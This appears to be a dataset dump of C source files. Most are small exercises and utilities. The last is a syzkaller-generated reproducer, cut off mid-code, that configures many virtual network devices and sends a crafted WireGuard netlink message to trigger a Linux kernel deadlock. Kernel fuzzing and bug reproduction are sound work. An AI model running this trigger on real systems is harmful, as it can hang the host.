file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/11075225.c
extern void abort (void); typedef short fract16; int main () { fract16 t1; t1 = __builtin_bfin_shrl_fr1x16 (0x4004, -4); if (t1 != 0x0040) abort (); return 0; }
the_stack_data/184411.c
#include <stdio.h> #define MAXS 30 /* Scrivere un programma che chiede all'utente una stringa di al massimo 30 caratteri. Il programma identifica nella stringa tutte le sotto-sequenze di sole cifre in posizioni consecutive, e visualizza le lunghezze della sotto-sequenza più lunga e di quella più corta. Se per esempio la stringa di ingresso è "a1245b645c7de45", il programma visualizza i valori 4 e 1 (avendo individuato le sottosequenze "1245" e "7"). Nel caso la stringa non contenga alcuna cifra, il programma visualizza il messaggio "0 0". */ int main() { char str[MAXS + 1]; int max, min, count, i; scanf("%s", str); max = min = count = 0; for (i = 0; str[i] != '\0'; i++) { if (str[i] >= '0' && str[i] <= '9') { count++; } else if (count) { if (max) { if (count > max) max = count; if (count < min) min = count; } else { max = count; min = count; } count = 0; } } if (count) { if (max) { if (count > max) max = count; if (count < min) min = count; } else { max = count; min = count; } } printf("%d %d", max, min); return 0; }
the_stack_data/37636933.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <linux/input.h> int read_event(struct input_event *event) { return fread(event, sizeof(struct input_event), 1, stdin) == 1; } void write_event(const struct input_event *event) { if (fwrite(event, sizeof(struct input_event), 1, stdout) != 1) { exit(EXIT_FAILURE); } } int main() { struct input_event input; setbuf(stdin, NULL), setbuf(stdout, NULL); while (read_event(&input)) { if (input.type == EV_MSC && input.code == MSC_SCAN) { continue; } if (input.type == EV_KEY && input.code == KEY_LEFTCTRL) { struct input_event lctrl = {.type = EV_KEY, .code = KEY_LEFTCTRL, .value = input.value}; struct input_event lmeta = {.type = EV_KEY, .code = KEY_LEFTMETA, .value = input.value}; struct input_event lalt = {.type = EV_KEY, .code = KEY_LEFTALT, .value = input.value}; write_event(&lctrl); write_event(&lmeta); write_event(&lalt); continue; } write_event(&input); } }
the_stack_data/142599.c
#include<stdlib.h> #include<stdio.h> int main(void) { printf("Hello every one , welcome to the c World!"); system("pause"); return 0; }
the_stack_data/225142127.c
/* Leitura Ótica https://www.urionlinejudge.com.br/judge/pt/problems/view/1129 */ #include <stdio.h> char obterAlternativaSelecionada(int *alternativas, int quantidadeDeAlternativas); #define MARCADA(alternativa) ((alternativa) <= 127) #define QUANTIDADE_DE_ALTERNATIVAS 5 int main (void) { int casos, i, alternativas[QUANTIDADE_DE_ALTERNATIVAS]; while (scanf("%d", &casos), casos != 0) { while (casos-- > 0) { for (i = 0; i < QUANTIDADE_DE_ALTERNATIVAS; i++) { scanf("%d", &alternativas[i]); } printf("%c\n", obterAlternativaSelecionada(alternativas, QUANTIDADE_DE_ALTERNATIVAS)); } } return 0; } char obterAlternativaSelecionada(int *alternativas, int quantidadeDeAlternativas) { int i, alternativaSelecionada = -1; for (i = 0; i < quantidadeDeAlternativas; i++) { if (MARCADA(alternativas[i])) { if (alternativaSelecionada == -1) { alternativaSelecionada = i; } else { return '*'; } } } if (alternativaSelecionada == -1) { return '*'; } else { return 'A' + alternativaSelecionada; } }
the_stack_data/164157.c
// possible deadlock in wg_set_device // https://syzkaller.appspot.com/bug?id=846e8b9d5141983e8106867783c28aa70b0342f1 // status:open // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <arpa/inet.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <net/if.h> #include <net/if_arp.h> #include <netinet/in.h> #include <sched.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/wait.h> #include <unistd.h> #include <linux/capability.h> #include <linux/genetlink.h> #include <linux/if_addr.h> #include <linux/if_ether.h> #include <linux/if_link.h> #include <linux/if_tun.h> #include <linux/in6.h> #include <linux/ip.h> #include <linux/neighbour.h> #include <linux/net.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/tcp.h> #include <linux/veth.h> unsigned long long procid; #define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off)) #define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \ *(type*)(addr) = \ htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \ (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len)))) static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } struct nlmsg { char* pos; int nesting; struct nlattr* nested[8]; char buf[1024]; }; static struct nlmsg nlmsg; static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, const void* data, int size) { memset(nlmsg, 0, sizeof(*nlmsg)); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_type = typ; hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; memcpy(hdr + 1, data, size); nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); } static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, int size) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_len = sizeof(*attr) + size; attr->nla_type = typ; memcpy(attr + 1, data, size); nlmsg->pos += NLMSG_ALIGN(attr->nla_len); } static void netlink_nest(struct nlmsg* nlmsg, int typ) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_type = typ; nlmsg->pos += sizeof(*attr); nlmsg->nested[nlmsg->nesting++] = attr; } static void netlink_done(struct nlmsg* nlmsg) { struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; attr->nla_len = nlmsg->pos - (char*)attr; } static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, int* reply_len) { if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) exit(1); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr)); if (n != hdr->nlmsg_len) exit(1); n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); if (hdr->nlmsg_type == NLMSG_DONE) { *reply_len = 0; return 0; } if (n < sizeof(struct nlmsghdr)) exit(1); if (reply_len && hdr->nlmsg_type == reply_type) { *reply_len = n; return 0; } if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr)) exit(1); if (hdr->nlmsg_type != NLMSG_ERROR) exit(1); return -((struct nlmsgerr*)(hdr + 1))->error; } static int netlink_send(struct nlmsg* nlmsg, int sock) { return netlink_send_ext(nlmsg, sock, 0, NULL); } static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset, unsigned int total_len) { struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset); if (offset == total_len || offset + hdr->nlmsg_len > total_len) return -1; return hdr->nlmsg_len; } static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type, const char* name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); if (name) netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name)); netlink_nest(nlmsg, IFLA_LINKINFO); netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type)); } static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type, const char* name) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name, const char* peer) { netlink_add_device_impl(nlmsg, "veth", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_nest(nlmsg, VETH_INFO_PEER); nlmsg->pos += sizeof(struct ifinfomsg); netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer)); netlink_done(nlmsg); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name, const char* slave1, const char* slave2) { netlink_add_device_impl(nlmsg, "hsr", name); netlink_nest(nlmsg, IFLA_INFO_DATA); int ifindex1 = if_nametoindex(slave1); netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1)); int ifindex2 = if_nametoindex(slave2); netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type, const char* name, const char* link) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t id, uint16_t proto) { netlink_add_device_impl(nlmsg, "vlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id)); netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link) { netlink_add_device_impl(nlmsg, "macvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); uint32_t mode = MACVLAN_MODE_BRIDGE; netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name, uint32_t vni, struct in_addr* addr4, struct in6_addr* addr6) { netlink_add_device_impl(nlmsg, "geneve", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni)); if (addr4) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4)); if (addr6) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); (void)err; } #define IFLA_IPVLAN_FLAGS 2 #define IPVLAN_MODE_L3S 2 #undef IPVLAN_F_VEPA #define IPVLAN_F_VEPA 2 static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t mode, uint16_t flags) { netlink_add_device_impl(nlmsg, "ipvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode)); netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_device_change(struct nlmsg* nlmsg, int sock, const char* name, bool up, const char* master, const void* mac, int macsize, const char* new_name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); if (up) hdr.ifi_flags = hdr.ifi_change = IFF_UP; hdr.ifi_index = if_nametoindex(name); netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); if (new_name) netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); if (master) { int ifindex = if_nametoindex(master); netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); } if (macsize) netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); int err = netlink_send(nlmsg, sock); (void)err; } static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, const void* addr, int addrsize) { struct ifaddrmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; hdr.ifa_scope = RT_SCOPE_UNIVERSE; hdr.ifa_index = if_nametoindex(dev); netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); return netlink_send(nlmsg, sock); } static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in_addr in_addr; inet_pton(AF_INET, addr, &in_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); (void)err; } static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in6_addr in6_addr; inet_pton(AF_INET6, addr, &in6_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); (void)err; } #define DEVLINK_FAMILY_NAME "devlink" #define DEVLINK_CMD_PORT_GET 5 #define DEVLINK_ATTR_BUS_NAME 1 #define DEVLINK_ATTR_DEV_NAME 2 #define DEVLINK_ATTR_NETDEV_NAME 7 static int netlink_devlink_id_get(struct nlmsg* nlmsg, int sock) { struct genlmsghdr genlhdr; struct nlattr* attr; int err, n; uint16_t id = 0; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = CTRL_CMD_GETFAMILY; netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, DEVLINK_FAMILY_NAME, strlen(DEVLINK_FAMILY_NAME) + 1); err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n); if (err) { return -1; } attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { id = *(uint16_t*)(attr + 1); break; } } if (!id) { return -1; } recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */ return id; } static struct nlmsg nlmsg2; static void initialize_devlink_ports(const char* bus_name, const char* dev_name, const char* netdev_prefix) { struct genlmsghdr genlhdr; int len, total_len, id, err, offset; uint16_t netdev_index; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock == -1) exit(1); int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (rtsock == -1) exit(1); id = netlink_devlink_id_get(&nlmsg, sock); if (id == -1) goto error; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = DEVLINK_CMD_PORT_GET; netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1); netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1); err = netlink_send_ext(&nlmsg, sock, id, &total_len); if (err) { goto error; } offset = 0; netdev_index = 0; while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) { struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg.buf + offset + len; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) { char* port_name; char netdev_name[IFNAMSIZ]; port_name = (char*)(attr + 1); snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix, netdev_index); netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0, netdev_name); break; } } offset += len; netdev_index++; } error: close(rtsock); close(sock); } #define DEV_IPV4 "172.20.20.%d" #define DEV_IPV6 "fe80::%02x" #define DEV_MAC 0x00aaaaaaaaaa static void netdevsim_add(unsigned int addr, unsigned int port_count) { char buf[16]; sprintf(buf, "%u %u", addr, port_count); if (write_file("/sys/bus/netdevsim/new_device", buf)) { snprintf(buf, sizeof(buf), "netdevsim%d", addr); initialize_devlink_ports("netdevsim", buf, "netdevsim"); } } static void initialize_netdevices(void) { char netdevsim[16]; sprintf(netdevsim, "netdevsim%d", (int)procid); struct { const char* type; const char* dev; } devtypes[] = { {"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"}, {"vcan", "vcan0"}, {"bond", "bond0"}, {"team", "team0"}, {"dummy", "dummy0"}, {"nlmon", "nlmon0"}, {"caif", "caif0"}, {"batadv", "batadv0"}, {"vxcan", "vxcan1"}, {"netdevsim", netdevsim}, {"veth", 0}, {"xfrm", "xfrm0"}, {"wireguard", "wireguard0"}, {"wireguard", "wireguard1"}, }; const char* devmasters[] = {"bridge", "bond", "team", "batadv"}; struct { const char* name; int macsize; bool noipv6; } devices[] = { {"lo", ETH_ALEN}, {"sit0", 0}, {"bridge0", ETH_ALEN}, {"vcan0", 0, true}, {"tunl0", 0}, {"gre0", 0}, {"gretap0", ETH_ALEN}, {"ip_vti0", 0}, {"ip6_vti0", 0}, {"ip6tnl0", 0}, {"ip6gre0", 0}, {"ip6gretap0", ETH_ALEN}, {"erspan0", ETH_ALEN}, {"bond0", ETH_ALEN}, {"veth0", ETH_ALEN}, {"veth1", ETH_ALEN}, {"team0", ETH_ALEN}, {"veth0_to_bridge", ETH_ALEN}, {"veth1_to_bridge", ETH_ALEN}, {"veth0_to_bond", ETH_ALEN}, {"veth1_to_bond", ETH_ALEN}, {"veth0_to_team", ETH_ALEN}, {"veth1_to_team", ETH_ALEN}, {"veth0_to_hsr", ETH_ALEN}, {"veth1_to_hsr", ETH_ALEN}, {"hsr0", 0}, {"dummy0", ETH_ALEN}, {"nlmon0", 0}, {"vxcan0", 0, true}, {"vxcan1", 0, true}, {"caif0", ETH_ALEN}, {"batadv0", ETH_ALEN}, {netdevsim, ETH_ALEN}, {"xfrm0", ETH_ALEN}, {"veth0_virt_wifi", ETH_ALEN}, {"veth1_virt_wifi", ETH_ALEN}, {"virt_wifi0", ETH_ALEN}, {"veth0_vlan", ETH_ALEN}, {"veth1_vlan", ETH_ALEN}, {"vlan0", ETH_ALEN}, {"vlan1", ETH_ALEN}, {"macvlan0", ETH_ALEN}, {"macvlan1", ETH_ALEN}, {"ipvlan0", ETH_ALEN}, {"ipvlan1", ETH_ALEN}, {"veth0_macvtap", ETH_ALEN}, {"veth1_macvtap", ETH_ALEN}, {"macvtap0", ETH_ALEN}, {"macsec0", ETH_ALEN}, {"veth0_to_batadv", ETH_ALEN}, {"veth1_to_batadv", ETH_ALEN}, {"batadv_slave_0", ETH_ALEN}, {"batadv_slave_1", ETH_ALEN}, {"geneve0", ETH_ALEN}, {"geneve1", ETH_ALEN}, {"wireguard0", 0}, {"wireguard1", 0}, }; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev); for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) { char master[32], slave0[32], veth0[32], slave1[32], veth1[32]; sprintf(slave0, "%s_slave_0", devmasters[i]); sprintf(veth0, "veth0_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave0, veth0); sprintf(slave1, "%s_slave_1", devmasters[i]); sprintf(veth1, "veth1_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave1, veth1); sprintf(master, "%s0", devmasters[i]); netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL); netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL); } netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr"); netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr"); netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1"); netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi"); netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0", "veth1_virt_wifi"); netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan"); netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q)); netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD)); netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan"); netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan"); netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0); netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S, IPVLAN_F_VEPA); netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap"); netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap"); netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap"); char addr[32]; sprintf(addr, DEV_IPV4, 14 + 10); struct in_addr geneve_addr4; if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0) exit(1); struct in6_addr geneve_addr6; if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0) exit(1); netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0); netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6); netdevsim_add((int)procid, 4); for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) { char addr[32]; sprintf(addr, DEV_IPV4, i + 10); netlink_add_addr4(&nlmsg, sock, devices[i].name, addr); if (!devices[i].noipv6) { sprintf(addr, DEV_IPV6, i + 10); netlink_add_addr6(&nlmsg, sock, devices[i].name, addr); } uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40); netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr, devices[i].macsize, NULL); } close(sock); } static void initialize_netdevices_init(void) { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); struct { const char* type; int macsize; bool noipv6; bool noup; } devtypes[] = { {"nr", 7, true}, {"rose", 5, true, true}, }; unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) { char dev[32], addr[32]; sprintf(dev, "%s%d", devtypes[i].type, (int)procid); sprintf(addr, "172.30.%d.%d", i, (int)procid + 1); netlink_add_addr4(&nlmsg, sock, dev, addr); if (!devtypes[i].noipv6) { sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1); netlink_add_addr6(&nlmsg, sock, dev, addr); } int macsize = devtypes[i].macsize; uint64_t macaddr = 0xbbbbbb + ((unsigned long long)i << (8 * (macsize - 2))) + (procid << (8 * (macsize - 1))); netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr, macsize, NULL); } close(sock); } static long syz_genetlink_get_family_id(volatile long name) { char buf[512] = {0}; struct nlmsghdr* hdr = (struct nlmsghdr*)buf; struct genlmsghdr* genlhdr = (struct genlmsghdr*)NLMSG_DATA(hdr); struct nlattr* attr = (struct nlattr*)(genlhdr + 1); hdr->nlmsg_len = sizeof(*hdr) + sizeof(*genlhdr) + sizeof(*attr) + GENL_NAMSIZ; hdr->nlmsg_type = GENL_ID_CTRL; hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; genlhdr->cmd = CTRL_CMD_GETFAMILY; attr->nla_type = CTRL_ATTR_FAMILY_NAME; attr->nla_len = sizeof(*attr) + GENL_NAMSIZ; strncpy((char*)(attr + 1), (char*)name, GENL_NAMSIZ); struct iovec iov = {hdr, hdr->nlmsg_len}; struct sockaddr_nl addr = {0}; addr.nl_family = AF_NETLINK; int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (fd == -1) { return -1; } struct msghdr msg = {&addr, sizeof(addr), &iov, 1, NULL, 0, 0}; if (sendmsg(fd, &msg, 0) == -1) { close(fd); return -1; } ssize_t n = recv(fd, buf, sizeof(buf), 0); close(fd); if (n <= 0) { return -1; } if (hdr->nlmsg_type != GENL_ID_CTRL) { return -1; } for (; (char*)attr < buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) return *(uint16_t*)(attr + 1); } return -1; } static void setup_common() { if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { } } static void loop(); static void sandbox_common() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); setsid(); struct rlimit rlim; rlim.rlim_cur = rlim.rlim_max = (200 << 20); setrlimit(RLIMIT_AS, &rlim); rlim.rlim_cur = rlim.rlim_max = 32 << 20; setrlimit(RLIMIT_MEMLOCK, &rlim); rlim.rlim_cur = rlim.rlim_max = 136 << 20; setrlimit(RLIMIT_FSIZE, &rlim); rlim.rlim_cur = rlim.rlim_max = 1 << 20; setrlimit(RLIMIT_STACK, &rlim); rlim.rlim_cur = rlim.rlim_max = 0; setrlimit(RLIMIT_CORE, &rlim); rlim.rlim_cur = rlim.rlim_max = 256; setrlimit(RLIMIT_NOFILE, &rlim); if (unshare(CLONE_NEWNS)) { } if (unshare(CLONE_NEWIPC)) { } if (unshare(0x02000000)) { } if (unshare(CLONE_NEWUTS)) { } if (unshare(CLONE_SYSVSEM)) { } typedef struct { const char* name; const char* value; } sysctl_t; static const sysctl_t sysctls[] = { {"/proc/sys/kernel/shmmax", "16777216"}, {"/proc/sys/kernel/shmall", "536870912"}, {"/proc/sys/kernel/shmmni", "1024"}, {"/proc/sys/kernel/msgmax", "8192"}, {"/proc/sys/kernel/msgmni", "1024"}, {"/proc/sys/kernel/msgmnb", "1024"}, {"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, }; unsigned i; for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++) write_file(sysctls[i].name, sysctls[i].value); } int wait_for_loop(int pid) { if (pid < 0) exit(1); int status = 0; while (waitpid(-1, &status, __WALL) != pid) { } return WEXITSTATUS(status); } static void drop_caps(void) { struct __user_cap_header_struct cap_hdr = {}; struct __user_cap_data_struct cap_data[2] = {}; cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; cap_hdr.pid = getpid(); if (syscall(SYS_capget, &cap_hdr, &cap_data)) exit(1); const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); cap_data[0].effective &= ~drop; cap_data[0].permitted &= ~drop; cap_data[0].inheritable &= ~drop; if (syscall(SYS_capset, &cap_hdr, &cap_data)) exit(1); } static int do_sandbox_none(void) { if (unshare(CLONE_NEWPID)) { } int pid = fork(); if (pid != 0) return wait_for_loop(pid); setup_common(); sandbox_common(); drop_caps(); initialize_netdevices_init(); if (unshare(CLONE_NEWNET)) { } initialize_netdevices(); loop(); exit(1); } uint64_t r[4] = {0xffffffffffffffff, 0x0, 0xffffffffffffffff, 0x0}; void loop(void) { intptr_t res = 0; res = syscall(__NR_socket, 0x10ul, 3ul, 0x10ul); if (res != -1) r[0] = res; memcpy((void*)0x20000480, "wireguard\000", 10); res = syz_genetlink_get_family_id(0x20000480); if (res != -1) r[1] = res; *(uint64_t*)0x20000100 = 0; *(uint32_t*)0x20000108 = 0; *(uint64_t*)0x20000110 = 0x20001300; *(uint64_t*)0x20001300 = 0x20000000; *(uint32_t*)0x20000000 = 0x98; *(uint16_t*)0x20000004 = r[1]; *(uint16_t*)0x20000006 = 1; *(uint32_t*)0x20000008 = 0; *(uint32_t*)0x2000000c = 0; *(uint8_t*)0x20000010 = 1; *(uint8_t*)0x20000011 = 0; *(uint16_t*)0x20000012 = 0; *(uint16_t*)0x20000014 = 0x70; STORE_BY_BITMASK(uint16_t, , 0x20000016, 8, 0, 14); STORE_BY_BITMASK(uint16_t, , 0x20000017, 0, 6, 1); STORE_BY_BITMASK(uint16_t, , 0x20000017, 1, 7, 1); *(uint16_t*)0x20000018 = 0x38; STORE_BY_BITMASK(uint16_t, , 0x2000001a, 0, 0, 14); STORE_BY_BITMASK(uint16_t, , 0x2000001b, 0, 6, 1); STORE_BY_BITMASK(uint16_t, , 0x2000001b, 1, 7, 1); *(uint16_t*)0x2000001c = 8; *(uint16_t*)0x2000001e = 0xa; *(uint32_t*)0x20000020 = 1; 